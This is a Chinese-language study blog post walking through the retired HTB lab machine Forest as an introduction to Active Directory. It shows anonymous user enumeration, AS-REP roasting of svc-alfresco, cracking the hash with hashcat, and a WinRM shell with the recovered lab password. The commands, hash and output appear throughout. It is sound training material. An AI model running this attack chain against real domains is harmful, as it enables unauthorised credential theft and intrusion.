從今天開始,正式踏入一個全新的領域——Active Directory(AD)。
接下來的五天,我們就邀請 HTB Retired 靶機 — Forest 陪伴我們一起學習 AD ><
為什麼選 Forest 呢?
AD 的門,我可是連踏都還沒踏進去過><
但這次準備 CPTS 的 AD 部分,需求真的有點多(?)
要適合像我這種 AD 小白,不能難到讓我直接放棄,
還希望可以拿來當作鐵人賽的實作內容,跟大家一起慢慢前進。
嗯......需求真的有點多 xddd 太困難了!!!
那我們就交給 AI~
請 AI 幫我挑選適合的靶機選手 👀
🎉 公布答案~~~
就是今天開始要陪我們五天的:HTB Retired — Forest!
那就不囉嗦了~我們的 AD 學習旅程,正式開始啦~~~><
其實在開始之前,我對 AD 幾乎是空白的——
說完全空白也不對,要問我 AD 是什麼,我能說的大概就是:
「之前公司在換 EDR 的時候,還好有 GPO 可以從 AD 統一派送——那些太老舊、沒辦法透過 GPO 派送的機器,真的讓人崩潰 xdd」
這大概是我對 AD 最有印象的一件事。知道 GPO 很好用,但 GPO 背後是 AD 在管,AD 跟 DC 有什麼差別——我完全說不出來。
看完Academy搭配今天的小實作之後~才慢慢有了一點AD輪廓><
最有印象的一個!!!為什麼 DC 是攻擊者的最終目標?
因為 DC 就像 AD 的總管家——知道網域裡有哪些使用者、電腦、群組,所有的登入驗證都靠它。
如果有人拿到了 DC 的控制權——
他可以把所有人的密碼 hash 全部倒出來,拿去離線慢慢破解。他可以把自己的帳號加進 Domain Admins,從此在整個公司的網路裡來去自如。他可以透過 GPO,一次把惡意程式推送到全公司每一台電腦—之前換 EDR 用 GPO 派送覺得很好用,現在這個機制被攻擊者拿來用也是一樣的邏輯😅

對攻擊者來說,DC 是非常重要的目標——因為控制 DC,往往意味著可以進一步影響整個網域環境。
再加上 AD 有一種「歷史共業」的感覺 xddd
很多企業的 AD 環境一用了就是十幾二十年,早期的設定、權限、服務帳號一路累積下來,後來維護的人可能已經換了好幾輪。
有些歷史設定不敢隨便動、有些服務帳號忘了清、有些權限也一路留著。
這些東西累積起來,就可能變成攻擊者可以繼續往下挖的突破口><
讀完之後,把以前工作上看到的東西跟現在學的對起來,有種「原來如此」的感覺。
在 AD 裡,所有東西都叫做 Object(物件)——使用者是 Object、電腦是 Object、群組是 Object、甚至 OU 本身也是 Object。AD 就是一個大型的目錄,裡面放了公司所有的「東西」,DC 管理的就是這些 Object 的資訊跟權限。

Forest(森林)——真正的安全邊界
以前在公司,有時候母公司的人會來做稽核或存取某些系統,當時只覺得「哦,母公司嘛,正常」。現在才知道,公司跟總公司之間可能就是兩個 Domain,上面還有一個 Forest 把大家包在一起。Forest 才是真正的安全邊界,要真的隔離,必須是不同的 Forest。
Domain(網域)——管理邊界
以前對 Domain 的認識,就是 Email 後面的那個字——@htb.local 的 htb.local 就是 Domain 名稱。
現在知道它代表的是一個 AD 網域,裡面會有自己的使用者、電腦、群組等 Object,並由網域中的 Domain Controller 負責提供目錄跟驗證服務。
OU(組織單位)——跟 EDR 連動的那個
以前用 EDR 的時候,看到機器被分在不同的 OU 裡,當時沒什麼感覺。現在知道不同 OU 可以套用不同的 GPO,所以 IT 部門的電腦設定跟業務部門完全不一樣——不是隨便分類,是有實際安全意義的。
GPO(群組原則物件)——統一管理設定
套用在 OU 或 Domain 上的規則——例如「所有電腦都要開防火牆」、「統一安裝某個軟體」。一個設定,整個 OU 都套用,非常方便。
但從攻擊者的角度看 xddd——能修改 GPO 的人,等於能讓所有套用那個 GPO 的電腦都下載惡意檔案。之前換 EDR 用 GPO 統一派送覺得很好用,現在想想這個機制被攻擊者拿來用也是一樣的邏輯 😅
這是今天在Forest機器拿到的target ip 10.129.95.210

今天的目標:進 Forest靶機的 AD shell,看 AD 使用者清單~
Step 1:Nmap 掃描
sudo nmap -sC -sV -oA forest 10.129.95.210




這是nmap掃描出的詳細結果:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-28 15:37:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2026-09-28T08:37:45-07:00
|_clock-skew: mean: 2h26m23s, deviation: 4h02m31s, median: 6m21s
| smb2-time:
| date: 2026-09-28T15:37:43
|_ start_date: 2026-09-28T15:21:44
掃出來的 port 很多,第一次看到這麼多port有點不知從何下手><
而且好多 port 之前都沒看過。
雖然我們之前一直說:看到 Port → 想它可以拿來做什麼 → 用什麼工具 → 想驗證什麼
但......AD 我真的還太陌生了 xddd
這麼多 Port,到底哪些才是 AD 的線索?
所以今天我想先完成一件事情:
看到一台 Windows 主機的 Nmap 結果,我能不能從 Port 和服務,開始判斷「這是不是一台 AD 相關的主機?」
也就是之前說的:看到線索 → 判斷它代表什麼 → 再決定下一步往哪裡走(所以必須先認出他是不是AD)
這也是AD小白第一次把「AD 理論」跟「實際掃描結果」做連結><
在深入鑽研後!對我來說有意義的 port:
| Port | 服務 | 想到什麼 |
|---|---|---|
| 88 | Kerberos | AD 環境的特徵 |
| 389 | LDAP | AD 環境的特徵,可以查詢 AD 目錄 |
| 445 | SMB | Windows 檔案共享,可以列舉 shares、users、groups——讓我們用 enum4linux-ng |
| 5985 | WinRM | 有帳密可以進 shell——爆破完帳密,可以用 evil-winrm 進入 Forest AD shell |
看到 88 + 389—— 說這是 AD 環境的特徵,AI沒騙我,這台真的有機會往 AD 的方向走!
Nmap 輸出裡還有幾行:
Domain: htb.local
FQDN: FOREST.htb.local
看到 htb.local,我第一個想到的是——Domain 跟 DC(Domain Controller)好像有點像?這台會不會就是 DC?
當時還不確定,只是覺得有點關聯。後來查了才知道:
88(Kerberos)+ 389(LDAP)+ 3268(Global Catalog)一起出現,是非常強的 Domain Controller 特徵——尤其 3268 是 Global Catalog 使用的服務,而 Global Catalog 是由 Domain Controller 提供。
Forest 這台三個都有,非常可能是 DC(保持好奇心的kitty!!!意外捕捉到他可能是DC的秘密!!!
大家還記得Day 4時,我們有細細檢視enum4linux-ng,知道他能匿名列舉出user、群組、密碼原則等等!
那我們就先利用enum4linux-ng,看看能不能成功拿到帳號清單,讓我們爆破,成功拿到密碼,進入AD shell,執行我們今天的目標任務~~~
Step 2:enum4linux-ng 列帳號
大家還記得 Day 4 的時候,我們有細細檢視 enum4linux-ng,知道他能匿名列舉出 user、群組、密碼原則等等!
那我們就先利用 enum4linux-ng,看看能不能成功拿到帳號清單,讓我們爆破,成功拿到密碼,進入 AD shell,執行今天的目標任務~
enum4linux-ng 10.129.95.210

詳細結果如下
==========================
| Target Information |
==========================
[*] Target ........... 10.129.95.210
[*] Username ......... ''
[*] Random Username .. 'kbdthimo'
[*] Password ......... ''
[*] Timeout .......... 10 second(s)
======================================
| Listener Scan on 10.129.95.210 |
======================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
=====================================================
| Domain Information via LDAP for 10.129.95.210 |
=====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: htb.local
============================================================
| NetBIOS Names and Workgroup/Domain for 10.129.95.210 |
============================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
==========================================
| SMB Dialect Check on 10.129.95.210 |
==========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: true
SMB 2.0.2: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
============================================================
| Domain Information via SMB session for 10.129.95.210 |
============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: FOREST
NetBIOS domain name: HTB
DNS domain: htb.local
FQDN: FOREST.htb.local
Derived membership: domain member
Derived domain: HTB
==========================================
| RPC Session Check on 10.129.95.210 |
==========================================
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE
====================================================
| Domain Information via RPC for 10.129.95.210 |
====================================================
[+] Domain: HTB
[+] Domain SID: S-1-5-21-3072663084-364016917-1341370565
[+] Membership: domain member
================================================
| OS Information via RPC for 10.129.95.210 |
================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows Server 2016 Standard 14393
OS version: '10.0'
OS release: '1607'
OS build: '14393'
Native OS: Windows Server 2016 Standard 14393
Native LAN manager: Windows Server 2016 Standard 6.3
Platform id: null
Server type: null
Server type string: null
======================================
| Users via RPC on 10.129.95.210 |
======================================
[*] Enumerating users via 'querydispinfo'
[+] Found 31 user(s) via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 31 user(s) via 'enumdomusers'
[+] After merging user results we have 31 user(s) total:
'1123':
username: $331000-VK4ADACQNUCA
name: (null)
acb: '0x00020015'
description: (null)
'1124':
username: SM_2c8eef0a09b545acb
name: Microsoft Exchange Approval Assistant
acb: '0x00020011'
description: (null)
'1125':
username: SM_ca8c2ed5bdab4dc9b
name: Microsoft Exchange
acb: '0x00020011'
description: (null)
'1126':
username: SM_75a538d3025e4db9a
name: Microsoft Exchange
acb: '0x00020011'
description: (null)
'1127':
username: SM_681f53d4942840e18
name: Discovery Search Mailbox
acb: '0x00020011'
description: (null)
'1128':
username: SM_1b41c9286325456bb
name: Microsoft Exchange Migration
acb: '0x00020011'
description: (null)
'1129':
username: SM_9b69f1b9d2cc45549
name: Microsoft Exchange Federation Mailbox
acb: '0x00020011'
description: (null)
'1130':
username: SM_7c96b981967141ebb
name: E4E Encryption Store - Active
acb: '0x00020011'
description: (null)
'1131':
username: SM_c75ee099d0a64c91b
name: Microsoft Exchange
acb: '0x00020011'
description: (null)
'1132':
username: SM_1ffab36a2f5f479cb
name: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}
acb: '0x00020011'
description: (null)
'1134':
username: HealthMailboxc3d7722
name: HealthMailbox-EXCH01-Mailbox-Database-1118319013
acb: '0x00000210'
description: (null)
'1135':
username: HealthMailboxfc9daad
name: HealthMailbox-EXCH01-001
acb: '0x00000210'
description: (null)
'1136':
username: HealthMailboxc0a90c9
name: HealthMailbox-EXCH01-002
acb: '0x00000210'
description: (null)
'1137':
username: HealthMailbox670628e
name: HealthMailbox-EXCH01-003
acb: '0x00000210'
description: (null)
'1138':
username: HealthMailbox968e74d
name: HealthMailbox-EXCH01-004
acb: '0x00000210'
description: (null)
'1139':
username: HealthMailbox6ded678
name: HealthMailbox-EXCH01-005
acb: '0x00000210'
description: (null)
'1140':
username: HealthMailbox83d6781
name: HealthMailbox-EXCH01-006
acb: '0x00000210'
description: (null)
'1141':
username: HealthMailboxfd87238
name: HealthMailbox-EXCH01-007
acb: '0x00000210'
description: (null)
'1142':
username: HealthMailboxb01ac64
name: HealthMailbox-EXCH01-008
acb: '0x00000210'
description: (null)
'1143':
username: HealthMailbox7108a4e
name: HealthMailbox-EXCH01-009
acb: '0x00000210'
description: (null)
'1144':
username: HealthMailbox0659cc1
name: HealthMailbox-EXCH01-010
acb: '0x00000210'
description: (null)
'1145':
username: sebastien
name: Sebastien Caron
acb: '0x00000210'
description: (null)
'1146':
username: lucinda
name: Lucinda Berger
acb: '0x00000210'
description: (null)
'1147':
username: svc-alfresco
name: svc-alfresco
acb: '0x00010210'
description: (null)
'1150':
username: andy
name: Andy Hislip
acb: '0x00000210'
description: (null)
'1151':
username: mark
name: Mark Brandt
acb: '0x00000210'
description: (null)
'1152':
username: santi
name: Santi Rodriguez
acb: '0x00000210'
description: (null)
'500':
username: Administrator
name: Administrator
acb: '0x00000010'
description: Built-in account for administering the computer/domain
'501':
username: Guest
name: (null)
acb: '0x00000215'
description: Built-in account for guest access to the computer/domain
'502':
username: krbtgt
name: (null)
acb: '0x00000011'
description: Key Distribution Center Service Account
'503':
username: DefaultAccount
name: (null)
acb: '0x00000215'
description: A user account managed by the system.
=======================================
| Groups via RPC on 10.129.95.210 |
=======================================
[*] Enumerating local groups
[+] Found 5 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 29 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 38 group(s) via 'enumdomgroups'
[+] After merging groups results we have 72 group(s) total:
'1101':
groupname: DnsAdmins
type: local
'1102':
groupname: DnsUpdateProxy
type: domain
'1104':
groupname: Organization Management
type: domain
'1105':
groupname: Recipient Management
type: domain
'1106':
groupname: View-Only Organization Management
type: domain
'1107':
groupname: Public Folder Management
type: domain
'1108':
groupname: UM Management
type: domain
'1109':
groupname: Help Desk
type: domain
'1110':
groupname: Records Management
type: domain
'1111':
groupname: Discovery Management
type: domain
'1112':
groupname: Server Management
type: domain
'1113':
groupname: Delegated Setup
type: domain
'1114':
groupname: Hygiene Management
type: domain
'1115':
groupname: Compliance Management
type: domain
'1116':
groupname: Security Reader
type: domain
'1117':
groupname: Security Administrator
type: domain
'1118':
groupname: Exchange Servers
type: domain
'1119':
groupname: Exchange Trusted Subsystem
type: domain
'1120':
groupname: Managed Availability Servers
type: domain
'1121':
groupname: Exchange Windows Permissions
type: domain
'1122':
groupname: ExchangeLegacyInterop
type: domain
'1133':
groupname: $D31000-NSEL5BRJ63V7
type: domain
'1148':
groupname: Service Accounts
type: domain
'1149':
groupname: Privileged IT Accounts
type: domain
'498':
groupname: Enterprise Read-only Domain Controllers
type: domain
'5101':
groupname: test
type: domain
'512':
groupname: Domain Admins
type: domain
'513':
groupname: Domain Users
type: domain
'514':
groupname: Domain Guests
type: domain
'515':
groupname: Domain Computers
type: domain
'516':
groupname: Domain Controllers
type: domain
'517':
groupname: Cert Publishers
type: local
'518':
groupname: Schema Admins
type: domain
'519':
groupname: Enterprise Admins
type: domain
'520':
groupname: Group Policy Creator Owners
type: domain
'521':
groupname: Read-only Domain Controllers
type: domain
'522':
groupname: Cloneable Domain Controllers
type: domain
'525':
groupname: Protected Users
type: domain
'526':
groupname: Key Admins
type: domain
'527':
groupname: Enterprise Key Admins
type: domain
'544':
groupname: Administrators
type: builtin
'545':
groupname: Users
type: builtin
'546':
groupname: Guests
type: builtin
'548':
groupname: Account Operators
type: builtin
'549':
groupname: Server Operators
type: builtin
'550':
groupname: Print Operators
type: builtin
'551':
groupname: Backup Operators
type: builtin
'552':
groupname: Replicator
type: builtin
'553':
groupname: RAS and IAS Servers
type: local
'554':
groupname: Pre-Windows 2000 Compatible Access
type: builtin
'555':
groupname: Remote Desktop Users
type: builtin
'556':
groupname: Network Configuration Operators
type: builtin
'557':
groupname: Incoming Forest Trust Builders
type: builtin
'558':
groupname: Performance Monitor Users
type: builtin
'559':
groupname: Performance Log Users
type: builtin
'560':
groupname: Windows Authorization Access Group
type: builtin
'561':
groupname: Terminal Server License Servers
type: builtin
'562':
groupname: Distributed COM Users
type: builtin
'568':
groupname: IIS_IUSRS
type: builtin
'569':
groupname: Cryptographic Operators
type: builtin
'571':
groupname: Allowed RODC Password Replication Group
type: local
'572':
groupname: Denied RODC Password Replication Group
type: local
'573':
groupname: Event Log Readers
type: builtin
'574':
groupname: Certificate Service DCOM Access
type: builtin
'575':
groupname: RDS Remote Access Servers
type: builtin
'576':
groupname: RDS Endpoint Servers
type: builtin
'577':
groupname: RDS Management Servers
type: builtin
'578':
groupname: Hyper-V Administrators
type: builtin
'579':
groupname: Access Control Assistance Operators
type: builtin
'580':
groupname: Remote Management Users
type: builtin
'581':
groupname: System Managed Accounts Group
type: builtin
'582':
groupname: Storage Replica Administrators
type: builtin
=======================================
| Shares via RPC on 10.129.95.210 |
=======================================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user
==========================================
| Policies via RPC for 10.129.95.210 |
==========================================
[*] Trying port 445/tcp
[+] Found policy:
Domain password information:
Password history length: 24
Minimum password length: 7
Minimum password age: 1 day 4 minutes
Maximum password age: not set
Password properties:
- DOMAIN_PASSWORD_COMPLEX: false
- DOMAIN_PASSWORD_NO_ANON_CHANGE: false
- DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
- DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
- DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
- DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
Domain lockout information:
Lockout observation window: 30 minutes
Lockout duration: 30 minutes
Lockout threshold: None
Domain logoff information:
Force logoff time: not set
其實 enum4linux 這些區塊我不算完全陌生——前面學 SMB 的時候,每一區(Dialect、Sessions、Shares、Policies)我都一格一格看過。但問題來了:那時候的靶機是 workgroup,不是 AD,而且我也就只是大概了解有哪些資訊,但要精準找到有用的資訊,我還有一段路......
這麼一大串,到底哪些是重點???
AI 幫我圈了三個:
1. 31 個使用者全被列出來——可以整理成帳號清單,拿去做後面的攻擊
2. Lockout threshold: None——試密碼試再多次也不會把帳號鎖死,可以放心做後面的攻擊
3. svc-alfresco 的 acb 是 0x00010210
所以這代表什麼??AI提點後,我還是不懂,繼續追問!!!才知道0x00010210 是 DONT_REQUIRE_PREAUTH——不需要 Kerberos 預先驗證,這就是下一步的入口。
等等!!!我們剛剛什麼帳密也沒提供只用了forest提供給我們的ip,怎麼就就能列出這麼多東西?**
關鍵在這一行:
[+] Server allows authentication via username '' and password ''
一旦匿名連線建立,enum4linux 就透過 RPC 一直問這台機器:「有哪些使用者?有哪些群組?密碼原則長怎樣?」DC 全部乖乖回答。那 31 個帳號(RID 1123~1152 那段)就是這樣被列出來的——不需要任何憑證。
這時候我有一個想法跟Day 4一樣,想去看有沒有Share,說不定有密碼藏在裡面!!!!
但!!!!
[+] Found 0 share(s) for user '' with password '', try a different user
為什麼列不到共享資料夾(share)?
這台的設定是:列使用者匿名可以,但列 share 需要有效帳號。所以會出現「AD 帳號資訊拿得到,但 SMB 檔案抓不到」的狀況——這也是為什麼我用 workgroup 那套(連進去翻 share)的直覺在這裡行不通。想抓 share,得先弄到一組真的帳密。
原來螢幕上這坨看似雜訊的東西,其實已經把「怎麼從沒帳密變成有帳密」的可能路徑寫在裡面了,只是我剛剛太慌,還讀不懂 xdd
Step 3:把使用者存成 users.txt
下一步 GetNPUsers.py 需要一份使用者清單當輸入,所以先把剛剛列到的帳號存成 users.txt。
但剛剛有31個帳號,要一個一個從很亂的 enum4linux-ng,一一找到,然後貼到 users.txt嗎???太麻煩ㄌ!!!
AI 教我用 grep 直接從輸出撈:
grep 'username:' enum.txt | awk '{print $2}' > users.txt
(假設我們有把 enum4linux-ng的輸出存成檔案(例如 enum.txt)
拆解一下這行在幹嘛:
grep 'username:':把所有含 username: 的行抓出來awk '{print $2}':每行只取冒號後面的第二個欄位,也就是帳號名本身> users.txt:存成檔案一開始想用 -oA 存起來,試了好幾次都報錯。


AI建議,連 . 都報一樣的錯,那就不是資料夾不存在的問題了——這版的 -oA 參數本身有 bug 或吃法不一樣~
別跟它耗,直接改用最保險的方法~
用 tee,邊看邊存:
enum4linux-ng 10.129.95.210 | tee enum.txt

tee是把螢幕上印的東西整份複製一份寫進 enum.txt。畫面照樣會跑,,結束後 enum.txt 就有完整內容了。
接著執行
grep 'username:' enum.txt | awk '{print $2}' > users.txt
,以供GetNPUsers.py 的輸入使用者清單(users.txt)
有了 users.txt,就可以接著跑 Step 4 的 AS-REP Roasting 了。
Step 4:AS-REP Roasting
為什麼知道要用 GetNPUsers.py?
因為 enum4linux 的輸出裡有線索——svc-alfresco 的 acb 是 0x00010210,比其他帳號多了 0x00010000。說實話第一次看完全不知道代表什麼,問了 AI 才知道:這個 bit 的意思是 DONT_REQUIRE_PREAUTH,看到這個就知道可以做 AS-REP Roasting,而 GetNPUsers.py 就是專門做這件事的工具。
這時候我有個疑問——「不需要預先驗證」,那為什麼還要破解密碼?
AI 解釋之後才搞懂 XD
「不需要預先驗證」不是不用密碼就能直接登入!
正常情況下,Kerberos 會先要求你證明你是你(pre-authentication)——你傳密碼雜湊給 DC,DC 確認了才給你 TGT。
但如果帳號設定了 DONT_REQUIRE_PREAUTH,就可以跳過這一步,直接跟 DC 要 AS-REP。而 AS-REP 裡面包含用那個帳號密碼加密過的資訊——可以拿回來離線猜密碼。
所以整個概念其實是:
不用先證明知道密碼
→ 取得 AS-REP(裡面有加密過的材料)
→ 離線猜密碼
→ 猜中後才真正拿到帳號密碼
我一開始看到 AS-REP Roasting 時:
「蛤?都不用密碼了,還破解密碼幹嘛???」
現在才知道——不是不用密碼,而是先拿到可以拿來猜密碼的材料,再離線慢慢猜。這樣就突然合理很多了 xddd
GetNPUsers.py htb.local/ -usersfile users.txt -no-pass -dc-ip 10.129.95.210
拆開來看:
htb.local/:我們要查詢的 Domain 名稱——從 Nmap 輸出拿到的-usersfile users.txt:把剛才存的帳號清單丟進去,一個一個試-no-pass:我們沒有密碼,就是要找不需要密碼就能拿到 hash 的帳號-dc-ip 10.129.95.210:DC 的 IP——就是靶機的 IP,從 HTB 網站拿到的把重點highlight出來!!!
詳細結果如下
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User HealthMailboxc3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfc9daad doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxc0a90c9 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox670628e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox968e74d doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox6ded678 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox83d6781 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfd87238 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxb01ac64 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:e9bac957faf81953bd385426cd458fed$43589b187b21747bab092b795285c956f928ee4d6c1f76b89defc29cccf782074b3ea350bd1d5552b96b751934af9f8ad599e5c513ef5e73fac77e78bdfb43acc0d554f46a0e417a2d6891ad324acacbb8c4c4a71eef8620efaa8ede75eb5a6f69b57e3219683f7e44ac1ddc16b6bc0debcea8f956a0e3c81c7a644c423570ccfa6a1718fa26f7f17872b5cc766feebc2c0d4ae42aa8833ee82aa417d4b503af1ab70b0910bf980056860788589c6e851c6fb8a625c34e3909d1f2b8fd03afbf32bc17e33fbb36fa3f412144da3a13864cfa5fa9be1ef30401237f00e225896ce90fface3a9a
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
輸出裡一堆 [-] 看起來很嚇人,但其實都是正常的——工具在對清單裡每個帳號逐一試:
KDC_ERR_CLIENT_REVOKED:這個帳號被停用了(那些 Exchange 系統帳號),跳過doesn't have UF_DONT_REQUIRE_PREAUTH set:這個帳號需要預先驗證,跳過svc-alfresco 有免預驗證旗標,所以只有它吐出了 hash。看到那一行長長的 $krb5asrep$23$... 出現,就知道成功了 xdd
今天先用這個工具把帳密拿到——背後的攻擊原理(AS-REP Roasting)留到 Day 18 再說清楚。
把這串 AS-REP hash 存進 hash.txt,以提供下一步驟破解
echo '$krb5asrep$23$svc-alfresco@HTB.LOCAL:e9bac957faf81953bd385426cd458fed$43589b187b21747bab092b795285c956f928ee4d6c1f76b89defc29cccf782074b3ea350bd1d5552b96b751934af9f8ad599e5c513ef5e73fac77e78bdfb43acc0d554f46a0e417a2d6891ad324acacbb8c4c4a71eef8620efaa8ede75eb5a6f69b57e3219683f7e44ac1ddc16b6bc0debcea8f956a0e3c81c7a644c423570ccfa6a1718fa26f7f17872b5cc766feebc2c0d4ae42aa8833ee82aa417d4b503af1ab70b0910bf980056860788589c6e851c6fb8a625c34e3909d1f2b8fd03afbf32bc17e33fbb36fa3f412144da3a13864cfa5fa9be1ef30401237f00e225896ce90fface3a9a' > hash.txt

**Step 5:hashcat 破解
拿到那串東西,第一眼就覺得怪——開頭有 $krb5asrep$23$,長得跟之前看過的 hash 不太一樣,就去問 AI。
AI 說這個可以用 hashcat 破解,-m 18200 是對應這個格式的參數。我就照做了——但說實話,krb5asrep 是什麼、為什麼 18200 對應這個,我當時還是沒很懂,只是先跑下去再說 xdd
之後 Day 18 預計會讀到 AS-REP Roasting 的原理,到時候再特別注意一下,應該就能真的搞清楚這串 hash 是怎麼來的、為什麼可以破解。
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
-m 18200:指定解密對象為 Kerberos 5 AS-REP etype 23。
結果:
出現/usr/share/wordlists/rockyou.txt: No such file or directory
以ls -l /usr/share/wordlists/,確認壓縮檔在不在
看到
rockyou.txt.gz,代表rockyou.txt目前是壓縮狀態,需要先解壓縮才能直接當 wordlist 使用。
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
拆開來看:
sudo:用管理員權限執行,因為這個資料夾需要權限才能修改gunzip:解壓縮工具,專門處理 .gz 格式的壓縮檔/usr/share/wordlists/rockyou.txt.gz:要解壓縮的檔案路徑.gz 就像 .zip——rockyou.txt 本身很大,所以 Kali 預設是壓縮狀態放在那裡,要用之前先解壓縮就好。解壓縮完之後才會變成 rockyou.txt,hashcat 才讀得到。再試一次
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
拆解一下
hashcat:離線密碼破解工具-m 18200:指定 hash 的格式,18200 對應的是 Kerberos AS-REP hash($krb5asrep$23$ 開頭的那種)hash.txt:要破解的 hash 檔案——剛才存的那個/usr/share/wordlists/rockyou.txt:字典檔,裡面有幾千萬個常見密碼,hashcat 會一個一個拿去試,看哪個跑出來的結果跟 hash 一樣
hashcat 的狀態摘要,它不會直接把明文密碼印在這裡。我們要看實際破出來的密碼,用 --show:
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt --show
輸出會長這樣,冒號後面就是密碼:
$krb5asrep$23$svc-alfresco@HTB.LOCAL:...:破出來的明文密碼
密碼是 s3rvice(成功!!!
**Step 6:evil-winrm 進 shell
evil-winrm 是一個登入工具——有了帳號密碼,用它連進 Windows 機器,就能拿到一個可以打指令的 shell,跟在那台機器上面操作一樣~
其實之前資安課程有用過 evil-winrm 進入不同服務,所以這個工具不算陌生——來試試看能不能進 Forest!
evil-winrm -i 10.129.95.210 -u svc-alfresco -p s3rvice
-i 10.129.95.210:目標機器的 IP——就是靶機的 IP-u svc-alfresco:帳號名稱-p s3rvice:剛才破解出來的密碼
進了 shell,跑:
net user /domain
net user:Windows 內建的帳號管理指令,可以查詢、新增、修改帳號/domain:指定查詢整個 Domain 的帳號,不加的話只會查這台本機的帳號
之前 enum4linux-ng 從外面已經列出帳號了,但那是匿名查詢。現在進了 shell,net user /domain 是用已驗證的帳號查,輸出格式不同。
